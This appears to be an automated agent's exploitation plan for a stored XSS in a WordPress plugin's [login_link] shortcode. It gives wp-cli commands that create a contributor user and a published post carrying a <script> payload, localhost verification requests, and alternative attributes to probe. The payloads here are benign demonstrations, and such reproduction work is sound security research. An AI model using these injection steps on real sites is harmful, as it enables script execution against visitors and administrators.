Exploitation Research Plan: CVE-2026-1913 (Gallagher Website Design XSS)

1. Vulnerability Summary

The Gallagher Website Design plugin (<= 2.6.4) is vulnerable to Stored Cross-Site Scripting (XSS) via the prefix attribute in the [login_link] shortcode. The plugin fails to sanitize or escape the prefix value before returning it for rendering. Authenticated users with Contributor-level access (or higher) can embed malicious scripts into posts or pages using this shortcode, which will execute in the browser of any user (including administrators) who views the content.

2. Attack Vector Analysis

• Shortcode: [login_link]
• Vulnerable Attribute: prefix
• Authentication Level: Contributor+ (The user must have the edit_posts capability to create or modify content containing shortcodes).
• Endpoint: Any public-facing Page or Post where shortcodes are processed (typically via the_content filter).
• Preconditions: The plugin must be active.

3. Code Flow

1. Shortcode Registration: The plugin registers the shortcode (likely in gallagher-website-design.php or an included file) using add_shortcode('login_link', 'CALLBACK_FUNCTION').
2. Attribute Processing: Inside the callback function, user-supplied attributes are parsed using shortcode_atts().
3. Data Handling (The Sink): The value of the prefix attribute is extracted from the $atts array and concatenated directly into an HTML string (e.g., prepended to an <a> tag) without using escaping functions like esc_html() or esc_attr().
4. Output: The resulting unsanitized string is returned by the shortcode function. WordPress then renders this string as part of the page content, leading to script execution.

4. Nonce Acquisition Strategy

The exploitation of this vulnerability occurs during the rendering of a shortcode within post content.

• Shortcode Rendering: No nonce is required to trigger the XSS. The vulnerability is triggered simply by viewing the page where the shortcode exists.
• Payload Injection: Creating/Updating a post normally requires a WordPress nonce (_wpnonce). However, since the research agent has wp-cli access, the most reliable way to inject the payload into the database is via wp post create or wp post update, bypassing the need for HTTP-based nonce extraction for the injection phase.

5. Exploitation Strategy

Step 1: Payload Selection

The payload will target the prefix attribute. We will use a standard <script> tag to demonstrate execution.
Payload: [login_link prefix='<script>alert(window.origin)</script>']

Step 2: Injection (Stored Phase)

Using the wp-cli tool, we will create a published post as a contributor user containing the malicious shortcode.

Step 3: Verification (Execution Phase)

The execution agent will use the http_request tool (Playwright) to navigate to the newly created post URL. We will check if the script is present in the raw HTML response and if it executes in the browser context.

6. Test Data Setup

1. Plugin Installation: Ensure gallagher-website-design version 2.6.4 is installed and active.
2. User Creation:

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

3. Post Creation (The Injection):

   wp post create --post_type=post --post_status=publish --post_title="Login Page" --post_author=$(wp user get attacker --field=ID) --post_content='[login_link prefix="<script>console.log(\"XSS_TRIGGERED\")</script>"]'
   

   Note: Using console.log is often more reliable for automated verification than alert.

7. Expected Results

• When requesting the post URL via http_request, the response body should contain the unescaped string: <script>console.log("XSS_TRIGGERED")</script>.
• In a browser environment, the browser console should show XSS_TRIGGERED.

8. Verification Steps

1. Confirm Post Content via CLI:

   wp post get <POST_ID> --field=post_content
   

2. Trigger and Capture Output via HTTP:
   Use the http_request tool to fetch the URL of the created post.

   {
     "method": "GET",
     "url": "http://localhost:8080/?p=<POST_ID>"
   }
   

3. Search for Sink Injection:
   Verify that the string <script>console.log("XSS_TRIGGERED")</script> appears in the response body.

9. Alternative Approaches

If the prefix attribute is not vulnerable or if login_link requires specific parameters:

• Check for suffix: Check if a suffix attribute exists and is also unescaped: [login_link suffix='<script>...</script>'].
• Bypass shortcode_atts: If the plugin accesses $_GET or $_POST directly within the shortcode callback (unlikely but possible), test parameters like ?prefix=<script>.
• Check other shortcodes: The readme.txt mentions password forgot link, Woocommerce cart total, and Woocommerce my account page. If login_link is patched or behaves differently, audit the attribute handling in these related shortcodes.